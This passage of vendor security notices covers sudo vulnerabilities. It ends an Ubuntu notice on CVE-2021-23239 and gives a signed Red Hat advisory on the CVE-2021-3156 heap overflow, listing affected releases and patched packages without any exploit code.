could possibly use this issue to bypass file permissions and determine if a directory exists or not. (CVE-2021-23239) Update instructions: The problem can be corrected by updating your system to the following package versions: Ubuntu 20.10: sudo 1.9.1-1ubuntu1.1 sudo-ldap 1.9.1-1ubuntu1.1 Ubuntu 20.04 LTS: sudo 1.8.31-1ubuntu1.2 sudo-ldap 1.8.31-1ubuntu1.2 Ubuntu 18.04 LTS: sudo 1.8.21p2-3ubuntu1.4 sudo-ldap 1.8.21p2-3ubuntu1.4 Ubuntu 16.04 LTS: sudo 1.8.16-0ubuntu1.10 sudo-ldap 1.8.16-0ubuntu1.10 In general, a standard system update will make all the necessary changes. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 ==================================================================== Red Hat Security Advisory Synopsis: Important: sudo security update Advisory ID: RHSA-2021:0224-01 Product: Red Hat Enterprise Linux Advisory URL: https://access.redhat.com/errata/RHSA-2021:0224 Issue date: 2021-01-26 CVE Names: CVE-2021-3156 ==================================================================== 1. Summary: An update for sudo is now available for Red Hat Enterprise Linux 7.4 Advanced Update Support, Red Hat Enterprise Linux 7.4 Telco Extended Update Support, and Red Hat Enterprise Linux 7.4 Update Services for SAP Solutions. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section. 2. Relevant releases/architectures: Red Hat Enterprise Linux Server AUS (v. 7.4) - x86_64 Red Hat Enterprise Linux Server E4S (v. 7.4) - ppc64le, x86_64 Red Hat Enterprise Linux Server Optional AUS (v. 7.4) - x86_64 Red Hat Enterprise Linux Server Optional E4S (v. 7.4) - ppc64le, x86_64 Red Hat Enterprise Linux Server Optional TUS (v. 7.4) - x86_64 Red Hat Enterprise Linux Server TUS (v. 7.4) - x86_64 3. Description: The sudo packages contain the sudo utility which allows system administrators to provide certain users with the permission to execute privileged commands, which are used for system management purposes, without having to log in as root. Security Fix(es): * sudo: Heap buffer overflow in argument parsing (CVE-2021-3156) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. 4. Solution: For details on how to apply this update, which includes the changes described in this advisory, refer to: https://access.redhat.com/articles/11258 5. Bugs fixed (https://bugzilla.redhat.com/): 1917684 - CVE-2021-3156 sudo: Heap buffer overflow in argument parsing 6. Package List: Red Hat Enterprise Linux Server AUS (v. 7.4): Source: sudo-1.8.19p2-12.el7_4.2.src.rpm x86_64: sudo-1.8.19p2-12.el7_4.2.x86_64.rpm sudo-debuginfo-1.8.19p2-12.el7_4.2.x86_64.rpm Red Hat Enterprise Linux Server E4S (v. 7.4): Source: sudo-1.8.19p2-12.el7_4.2.src.rpm ppc64le: sudo-1.8.19p2-12.el7_4.2.ppc64le.rpm sudo-debuginfo-1.8.19p2-12.el7_4.2.ppc64le.rpm x86_64: sudo-1.8.19p2-12.el7_4.2.x86_64.rpm sudo-debuginfo-1.8.19p2-12.el7_4.2.x86_64.rpm Red Hat Enterprise Linux Server TUS (v. 7.4): Source: sudo-1.8.19p2-12.el7_4.2.src.rpm x86_64: sudo-1.8.19p2-12.el7_4.2.x86_64.rpm sudo-debuginfo-1.8.19p2-12.el7_4.2.x86_64.rpm Red Hat Enterprise Linux Server Optional AUS (v. 7.4): x86_64: sudo-debuginfo-1.8.19p2-12.el7_4.2.i686.rpm sudo-debuginfo-1.8.19p2-12.el7_4.2.x86_64.rpm sudo-devel-1.8.19p2-12.el7_4.2.i686.rpm sudo-devel-1.8.19p2-12.el7_4.2.x86_64.rpm Red Hat Enterprise Linux Server Optional E4S (v. 7.4): ppc64le: sudo-debuginfo-1.8.19p2-12.el7_4.2.ppc64le.rpm sudo-devel-1.8.19p2-12.el7_4.2.ppc64le.rpm x86_64: sudo-debuginfo-1.8.19p2-12.el7_4.2.i686.rpm sudo-debuginfo-1.8.19p2-12.el7_4.2.x86_64.rpm sudo-devel-1.8.19p2-12.el7_4.2.i686.rpm sudo-devel-1.8.19p2-12.el7_4.2.x86_64.rpm Red Hat Enterprise Linux Server Optional TUS (v. 7.4): x86_64: sudo-debuginfo-1.8.19p2-12.el7_4.2.i686.rpm sudo-debuginfo-1.8.19p2-12.el7_4.2.x86_64.rpm sudo-devel-1.8.19p2-12.el7_4.2.i686.rpm sudo-devel-1.8.19p2-12.el7_4.2.x86_64.rpm These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/ 7. References: https://access.redhat.com/security/cve/CVE-2021-3156 https://access.redhat.com/security/updates/classification/#important https://access.redhat.com/security/vulnerabilities/RHSB-2021-002 8. Contact: The Red Hat security contact is <secalert@redhat.com>. More contact details at https://access.redhat.com/security/team/contact/ Copyright 2021 Red Hat, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQIVAwUBYBB1htzjgjWX9erEAQjwNQ/9HBoqYFsK25G0+2QKqO2FTwr0G7P5gx3n 93VL0desDcpNXLdd4lwWcx1gAQkKSiYtMyFl5JdrqTznudDPo/V4dPBbPl3hkIr8 zGiiKTDErT2MeCm5T4RXJVFzCCJA78io7MENH0Wr0SVTybjljKs1m06egY120kC0 ax3v92dap0K6KNAlVLscRzc2p0veauF+cfpk+5+Zomzw89QRTrWYt7BBxUxFsk2u sS0t9cmT3UURXjsqdDjMmilxWbqmKzKePhWeCfu8zBNc+TacLSXBqZmPgSlB1V5U WTzSNIu3AGSpcniqcx0It4ncfmwGfmmekQ0U4ZTBLkM+fr7krikFiBFsf+jPaqvn PNFdJY318EAJWxzRGhf9UunlMVYrimjjNxqMU1LVIxIhRzQEi0BhlMIcFjIZp0UN Pa1nqJ0YKZbZ/+vvqzd6c6lALjsYBSOhkEpmr0ZivaXl1wIPB4cZ4yrKjMlO0DsP qsG4YmwIq+pl85wH4dPA2TG7mMF4CdWYvykUQlVfYSlGAXAllGaeNDAnySfi/FWE zXTdkjxc9uHojrhfUtX5pDoflFWoerbbaLK//fCTFuULhKfAhe5QidiCiU+LpFb2 aM23SHk+HZm8LnC2KM0fe0VzSk9fHWgOYXHx0iOYsqwRzHwe+d+AJ4bZkKxf2/pT /eC3svyPRxA=fsAW -----END PGP SIGNATURE----- -- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce . 7) - aarch64, ppc64le, s390x 3